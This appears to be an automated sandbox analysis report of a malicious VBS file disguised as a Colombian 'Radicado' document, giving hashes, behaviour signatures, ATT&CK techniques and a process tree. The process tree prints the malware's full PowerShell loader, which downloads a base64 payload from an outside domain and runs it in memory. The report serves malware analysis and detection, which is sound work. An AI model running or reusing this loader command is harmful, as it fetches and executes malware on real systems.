c410684799d2bc68f9f06e206381e7f1fc6336642df8d48346a9b3357ada7db4

Analysis

max time kernel
47s
max time network
52s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
03-10-2022 17:40

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General

Target

Radicado #1-2022-028101_8002465216546165465651_265465165465165a6654ff564216165ca1654215648984461ca89.vbs
Size

238KB
MD5

518a1bd0764ca25fcf36d8a55bf2ebd9
SHA1

d6e490cdf33972c115a035631a3db91e527b0ef3
SHA256

c410684799d2bc68f9f06e206381e7f1fc6336642df8d48346a9b3357ada7db4
SHA512

b746019d51c04f97c75bbbe6ae65a74521120cb73aefee0a306c09088b2b1905d25f78c5b7e220962c2c34d11dd8bff082fef8056557acdb404e577dfcf0613b
SSDEEP

48:sK0mjzlXJj5NzzBWsoMtssbs0Qs+PM/d9Z9s3XEHDzzAA:sKDF9n0JMtswebEjAsDoA

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://contadoreshbc.com/dll_startup

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	916	powershell.exe
5	916	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
916	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	916	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2016 wrote to memory of 916	2016	WScript.exe	27
PID 2016 wrote to memory of 916	2016	WScript.exe	27
PID 2016 wrote to memory of 916	2016	WScript.exe	27

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Radicado #1-2022-028101_8002465216546165465651_265465165465165a6654ff564216165ca1654215648984461ca89.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('https://contadoreshbc.com/dll_startup'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('1=rev&a=psid?txt.4abeurp/esacfeirB/moc.sotercnocmc@aretrac/emoh/moc.sotercnocmc.liam//:sptth'))
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:916

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/916-55-0x0000000000000000-mapping.dmp

Download
memory/916-57-0x000007FEF4650000-0x000007FEF5073000-memory.dmp

Filesize
10.1MB

Download
memory/916-58-0x000007FEF3AF0000-0x000007FEF464D000-memory.dmp

Filesize
11.4MB

Download
memory/916-59-0x0000000002364000-0x0000000002367000-memory.dmp

Filesize
12KB

Download
memory/916-60-0x000000000236B000-0x000000000238A000-memory.dmp

Filesize
124KB

Download
memory/916-61-0x0000000002364000-0x0000000002367000-memory.dmp

Filesize
12KB

Download
memory/916-62-0x000000000236B000-0x000000000238A000-memory.dmp

Filesize
124KB

Download
memory/2016-54-0x000007FEFC011000-0x000007FEFC013000-memory.dmp

Filesize
8KB

Download